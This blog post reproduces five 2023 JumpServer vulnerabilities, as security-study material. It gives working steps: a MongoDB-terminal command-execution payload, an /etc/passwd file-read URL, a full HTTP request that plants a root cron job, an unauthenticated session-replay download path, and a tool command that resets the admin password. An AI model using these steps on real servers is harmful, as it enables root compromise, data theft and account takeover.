当前位置: 首页 > news >正文

JumpServer2023漏洞复现合集

本文主要复现JumpServer2023年出现的大批量漏洞,既是分享也是为了记录自己的成长,近期会持续更新。

1. JumpServer MongoDB远程代码执行漏洞(CVE-2023-43651)

1.1 漏洞级别

高危

1.2 漏洞描述

经过身份验证的用户可以利用MongoDB会话中的漏洞执行任意命令,成功利用该漏洞的攻击者可获取目标系统上的root权限,最终可实现远程代码执行。

1.3利用范围

2.24 <= jumpserverv 2.x <= 2.28.20
jumpserverv 3.x <= 3.6.4

1.4 漏洞复现

这个漏洞很简单,只要在漏洞版本且启用了koko组件就存在。在Web Terminal模块连接数据库,即可在命令行中执行js代码

console.log(require("child_process").execSync("id").toString())

在这里插入图片描述注:之所以这是一个高危漏洞,因为执行该命令的是堡垒机所在的机器而不是安装有mongo的宿主机。

2.JumpServer任意文件读取漏洞(CVE-2023-42819)

2.1 漏洞级别

高危

2.2 漏洞描述

JumpServer中存在远程代码执行漏洞,具有低权限的远程攻击者成功利用该漏洞可登录访问系统,最终实现目标系统上执行任意代码或修改任意文件内容。

2.3利用范围

3.0.0 <= JumpServer < 3.6.4

2.4 漏洞复现

创建playbook。位置在“工作台 -> 作业中心 -> 模板管理 -> Playbook管理 -> 创建Playbook”,创建后会获得一个id:
在这里插入图片描述访问链接

[url]/api/v1/ops/playbook/[id]/file/?key=/etc/passwd

即可成功获得敏感文件内容
在这里插入图片描述

2.4.2 进一步利用

我们可以通过写入定时任务的方式进行进一步利用。

POST /api/v1/ops/playbook/bd456105-c552-44ec-b890-6216656c1f7e/file/ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: SESSION_COOKIE_NAME_PREFIX=jms_; jms_public_key="LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEdEhwL0JkRWtqYjNkb2NObWVGaGlxUFhVeQo0N0RPbU1DMTZ4QTBuL29ubWdIU3FXdktSSGlHQmlDdDNDTG1yUDM4MXpFZGZHaXA0anE1QThIS2grVjgyVjdCCk1IS044S29GTUZMZ3RFbGUwMTNRZTBSRTRWclgzc3JzZ05sZGNuVUQ1eVpFQTEyR2hUcWRPNTRpejQ4RmtOS1AKbjNMMS9jZDdIUlZsSm9TWUNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ=="; jms_sessionid=708sbyw1e1zmfw79wdcbot2omas8cw3z; jms_csrftoken=SqmVxQn9Ue50oVvrEtQMMSy4MFjXhZaVdngoWFM0MZ2WdaKNjISftqKndsD9Dw3f; X-JMS-ORG=00000000-0000-0000-0000-000000000002; sidebarStatus=1; django_language=zh-hans; activeTab=PlaybookDetail; jms_session_expire=close
Upgrade-Insecure-Requests: 1
X-CSRFToken:SqmVxQn9Ue50oVvrEtQMMSy4MFjXhZaVdngoWFM0MZ2WdaKNjISftqKndsD9Dw3f
Content-Type: application/json
Content-Length: 116{"key":"/etc/cron.d",
"is_directory":false,
"name":"test1",
"content":"* * * * * root touch /tmp/success\n"
}
  • key值为创建文件的目录
  • name为文件名
  • content为文件内容
  • header中必须要有X-CSRFToken头,值为cookie中的jms_csrftoken的值
  • header中必须有Content-Type,值为application/json

3. Session录像任意下载漏洞(CVE-2023-42442)

3.1 漏洞级别

高危

3.2 漏洞描述

API接口/api/v1/terminal/sessions/权限控制被破坏,该API会话重放可以在没有身份验证的情况下下载。利用该漏洞可以访问录像文件,远程获取到敏感信息。

3.3利用范围

3.0.0 <= JumpServer <= 3.5.4
3.6.0 <= JumpServer <= 3.6.3

3.4 漏洞复现

访问接口,即可获取session信息。

url/api/v1/terminal/sessions/

在这里插入图片描述获取replay的数据 我们发起get请求访问以下路径

url/meida/xpack/../replay/[date]/[id].cast.gz
  • date格式为2023-11-13
  • id的值为上一步中获取的id

获取结果如下:
在这里插入图片描述

4. 随机数种子泄漏造成用户接管漏洞(CVE-2023-42820)

4.1 漏洞级别

高危

4.2 漏洞描述

JumpServer中存在密码重置漏洞,由于第三方库将随机种子数暴露给了API,可能导致随机验证码被重放,未经身份验证的远程攻击者通过构造恶意请求重置密码。

4.3利用范围

2.24 <= JumpServer < 3.6.4
注:我在2.27版本下测试时,并不能直接获取到token,如何进一步利用没有研究出来,有研究的可以分享一下~

4.4 漏洞复现

4.4.1 快速通关

可以使用下列项目

https://github.com/tarimoe/blackjump

执行命令

python3 blackjump.py rest [url]
如果知道目标的用户名和邮箱可以指定 --user 和 --email 参数,默认是admin账号
注:该脚本会直接修改目标账号密码,使用需要谨慎

在这里插入图片描述使用新密码即可成功登录
在这里插入图片描述

5. 重置密码Token可爆破漏洞(CVE-2023-43650)

5.1 漏洞级别

高危

5.2 漏洞描述

由于重置用户密码的验证码没有速率限制,未经身份验证的远程攻击者可通过请求重置密码,爆破收到的6位验证码来实现劫持非MFA帐户。

5.3利用范围

2.0.0 <= JumpServer < 2.28.19
3.0.0 <= JumpServer < 3.7.0
注:我在2.27版本下测试时,不要输出邮箱验证码,如何进一步利用没有研究出来,有研究的可以分享一下~

5.4 漏洞复现

在3.1.0版本下无法复现,对验证码进行爆破会提交验证码过期 ,该版本下漏洞可能已经修复了。漏洞原理简单,抓包bp直接爆破就行。

相关文章:

JumpServer2023漏洞复现合集

本文主要复现JumpServer2023年出现的大批量漏洞&#xff0c;既是分享也是为了记录自己的成长&#xff0c;近期会持续更新。 1. JumpServer MongoDB远程代码执行漏洞&#xff08;CVE-2023-43651&#xff09; 1.1 漏洞级别 高危 1.2 漏洞描述 经过身份验证的用户可以利用Mon…...

【Linux】Ubuntu16.04配置repo

Ubuntu16.04配置repo失败 在学习韦东山Linux嵌入式开发过程中&#xff0c;使用repo获取内核及工具链: git clone https://e.coding.net/codebug8/repo.gitmkdir -p 100ask_imx6ull-sdk && cd 100ask_imx6ull-sdk../repo/repo init -u https://gitee.com/weidongshan/m…...

uniapp小程序更新逻辑,按实际开发为主

小程序更新: uniapp小程序更新逻辑 uni.getUpdateManager() 方法参数说明onCheckForUpdatecallback当向小程序后台请求完新版本信息&#xff0c;会进行回调onUpdateReadycallback当新版本下载完成&#xff0c;会进行回调onUpdateFailedcallback当新版本下载失败&#xff0c;会…...

骨传导蓝牙耳机哪款好?这五款骨传导耳机闭眼入都不会错!

随着科技的发展&#xff0c;数码产品更新换代的速度也是越来越快&#xff0c;如今无线蓝牙耳机已经占据主流&#xff0c;特别是运动爱好者&#xff0c;很多人都会为自己挑选一款好用的运动耳机&#xff0c;而骨传导耳机异军突起&#xff0c;凭借听歌不入耳、佩戴舒适稳固等特性…...

数据库操作入门:PyMongo 和 MongoDB 的基本用法

MongoDB MongoDB是一种流行的NoSQL数据库&#xff0c;它将数据存储在类似JSON的文档中&#xff0c;使数据库非常灵活和可扩展 PyMongo Python需要一个MongoDB驱动程序来访问MongoDB数据库。在本教程中&#xff0c;我们将使用MongoDB驱动程序 “PyMongo”。建议使用PIP来安装…...

开发企业微信群机器人,实现定时提醒

大家好&#xff0c;我是鱼皮&#xff0c;今天分享一个用程序解决生活工作问题的真实案例。 说来惭愧&#xff0c;事情是这样的&#xff0c;在我们公司&#xff0c;每天都要轮流安排一名员工&#xff08;当然也包括我&#xff09;去楼层中间一个很牛的饮水机那里接水。但由于大…...

剑指 Offer 06. 从尾到头打印链表

title: 剑指 Offer 06. 从尾到头打印链表 tags: 链表递归迭代 categories:算法剑指 Offer 题目描述 输入一个链表的头节点&#xff0c;从尾到头反过来返回每个节点的值&#xff08;用数组返回&#xff09;。 示例 1&#xff1a; 输入&#xff1a;head [1,3,2] 输出&#…...

深度学习之基于Pytorch服装图像分类识别系统

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介系统组成1. 数据集准备2. 数据预处理3. 模型构建4. 模型训练5. 模型评估 PyTorch的优势 二、功能三、系统四. 总结 一项目简介 深度学习在计算机视觉领域的…...

串口通讯:

一、 1.在用ReadFile和WriteFile读写串口时&#xff0c;既可以同步执行&#xff0c;也可以重叠执行&#xff1a; 在同步执行时&#xff0c;函数直到操作完成后才返回。这意味着同步执行时线程会被阻塞&#xff0c;从而导致效率下降。 在重叠执行时&#xff0c;即使操作…...

批量重命名软件推荐 A Better Finder Rename 12最新 for mac

A Better Finder Rename的大量重命名选项被组织成15个直观的类别&#xff0c;涵盖了一个伟大的文件重命名器所期望的所有文本&#xff0c;字符&#xff0c;位置&#xff0c;转换和截断功能。 除此之外&#xff0c;A Better Finder Rename提供了更多高级功能&#xff0c;可以满…...

【2013年数据结构真题】

highlight: a11y-dark 41题 王道解析&#xff1a; 算法的策略是从前向后扫描数组元素&#xff0c;标记出一个可能成为主元素的元素Num 。然后重新计数&#xff0c;确认Num是否是主元素。算法可分为以下两步&#xff1a; 选取候选的主元素&#xff1a;依次扫描所给数组中的每个…...

csrf学习笔记总结

跨站请求伪造csrf csrf概述 掌握CSRF 漏洞原理 掌握CSRF 漏洞场景 掌握CSRF 漏洞验证 csrf原理 ​ 跨站请求伪造&#xff08;Cross Site Request Forgery&#xff0c;CSRF&#xff09;是一种攻击&#xff0c;它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程…...

【kafka】windows安装启动

1.zookeeper的安装与启动 快速打开window powershell&#xff1a; windowx&#xff0c;选 2.kafka下载 —注意kafka和zookeeper需要版本匹配 安装路径 注意&#xff0c;kafka安装目录不能有空格。文件下载到&#xff1a; D:\Program_Files\kafka_2.12-3.6.0新建logs文件 修改c…...

redis的基本命令,并用netty操作redis(不使用springboot或者spring框架)就单纯的用netty搞。

大家如果对使用netty搞这些http请求什么的感兴趣的&#xff0c;可以参观我自己创建的这个项目。 nanshaws/nettyWeb: 复习一下netty&#xff0c;并打算做一个web项目出来 (github.com) Redis的基本命令包括&#xff1a; SET key value&#xff1a;设置指定key的值。 GET key…...

《白帽子讲web安全》笔记

第八章 文件上传漏洞 文件上传漏洞是指用户上传了一个可执行的脚本文件&#xff0c;并通过此脚本文件获得了执行服务器端命令的能力 文件上传后导致的常见安全问题一般有&#xff1a; ❍ 上传文件是Web脚本语言&#xff0c;服务器的Web容器解释并执行了用户上传的脚本&#xf…...

unity UGUI无限循环滚动居中

最近在做一个ui循环滚动的功能&#xff0c;网上找了半天脚本感觉都和我实际需求不太符合&#xff0c;自己花费一些时间完成了这个功能记录一下。下面开始正题 &#xff0c;我是采用unity自带组件Scroll View来完成&#xff0c;首先设置Scroll View如下图 面板层级结构如下 然…...

人工智能与新能源电动车的融合——技术创新引领未来交通革命

人工智能与新能源电动车的融合——技术创新引领未来交通革命 摘要&#xff1a;本文探讨了人工智能与新能源电动车领域的技术融合&#xff0c;分析了其在智能驾驶、电池技术、充电设施等方面的应用与创新。文章指出&#xff0c;这两大技术的结合将重塑交通产业&#xff0c;为我…...

交换机堆叠 配置(H3C)堆叠中一台故障如何替换

交换机堆叠 配置&#xff08;H3C&#xff09;堆叠中一台故障如何替换 堆叠用来干什么&#xff1f;配置两台成员设备的 IRF&#xff08;堆叠&#xff09;Switch01配置Switch02配置 如何替换堆叠中坏掉的一台交换机 堆叠用来干什么&#xff1f; 一台交换机网口有限&#xff0c;无…...

2024年软考有哪些考试科目?具体考什么内容?

软考分为三个考试层次&#xff0c;软考初级、中级和高级&#xff0c;每个层次的考试科目&#xff0c;其考试内容都是不一样的。报考时先选层次&#xff0c;再选科目。选好科目后&#xff0c;再看自己需要学习哪些内容。 一、软考初级科目 1.程序员&#xff1a; 考核内容&…...

2023.11.12 hive中分区表,分桶表与区别概念

1.分区表 分区表的本质就是在分目录 当Hive表对应的数据量大、文件多时&#xff0c;为了避免查询时全表扫描数据。比如把一整年的数据根据月份划分12个月&#xff08;12个分区&#xff09;&#xff0c;后续就可以查询指定月份分区的数据&#xff0c;尽可能避免了全表扫描查询。…...

Pass-中间件管理

中间件管理是指对应用软件和操作系统之间的软件层进行管理和调度的过程&#xff0c;以优化应用性能和提高系统可靠性。 中间件管理是什么&#xff1f; 中间件管理是软件开发过程中不可或缺的一部分&#xff0c;它主要负责管理应用程序与操作系统之间的交互。中间件&#xff0…...

什么是GIL锁,有什么作用?python的垃圾回收机制是什么样的?解释为什么计算密集型用多进程,io密集型用多线程。

1 什么是gil锁&#xff0c;有什么作用&#xff1f; 2 python的垃圾回收机制是什么样的&#xff1f; 3 解释为什么计算密集型用多进程&#xff0c;io密集型用多线程。 1 什么是gil锁&#xff0c;有什么作用&#xff1f; 1 GIL&#xff1a;Global Interpreter Lock又称全局解释器…...

Postman如何发送Https请求

Postman如果想要发送Https请求&#xff0c;需要从设置中将SSL安全认证禁用...

Redis集群启动

配置项 # 允许Redis监听所有网络接口的IP地址,即0.0.0.0。这意味着Redis可以接受来自任何网络接口的连接。 bind 0.0.0.0 # 关闭保护模式。在保护模式下,Redis只接受来自本机的连接。关闭保护模式后,Redis可以接受来自任何网络接口的连接。 protected-mode no # 在后…...

使用proxy把后端返回的图片域名替换成目标域名

proxy 对象用于创建一个对象的代理&#xff0c;是在目标对象之前架设一个拦截&#xff0c;外界对该对象的访问&#xff0c;都必须先通过这个拦截。通过这种机制&#xff0c;就可以对外界的访问进行过滤和改写。 ES6 原生提供 Proxy 构造函数&#xff0c;用来生成 Proxy 实例。…...

css实现div倾斜效果

效果如下&#xff1a; <!DOCTYPE html> <html><head><meta charset"UTF-8"><title></title></head> <style> *{margin:0;padding: 0;} .box1{margin:30px 100px;width:100px;height:200px;background:blueviolet;} …...

算法学习打卡day45|动态规划:股票问题总结

Leetcode股票问题总结篇 动态规划的股票问题一共六道题&#xff0c;买卖股票最佳时机和买卖股票手续费都是一个类型的问题&#xff0c;维护好买入和卖出两个状态即可&#xff0c;方法一摸一样。而冷冻期也差不多就是状态多了点&#xff0c;买入、保持卖出、当日卖出、以及冷冻期…...

内网环境下让容器上网,并制作一个httpd容器

1.下载基础镜像 上一次&#xff0c;我们通过正向互联网代理在内网环境中&#xff0c;搭建了一个docker环境&#xff0c;具体环境如下&#xff1a; 1) 内网docker服务器&#xff1a;192.168.123.1&#xff0c;操作系统为&#xff1a;redhat 7.9 2) 代理服务器(可通外网)&#…...

多个Obj模型合并

MergeObj&#xff08;合并Obj模型&#xff09; 1 概述 由于项目原因&#xff0c;需要下载谷歌地图上的模型&#xff0c;关于谷歌模型下载的&#xff0c;见我的CSDN博客. 由于下载谷歌地图上的数据&#xff0c;会分多个模块下载。下载完成后&#xff0c;怎么合并&#xff0c;在…...

Qt调用python写好的函数,利用Python丰富的图像处理库来完成各种任务

一、前言 近年来,Python已经成为一种广泛应用于科学计算、数据分析和机器学习等领域的强大编程语言。其丰富的生态系统和大量的开源库使得Python成为处理图像、音频、视频和其他多媒体数据的理想选择。在图像处理领域,Python提供了许多方便的函数和库,如OpenCV、PIL(Pytho…...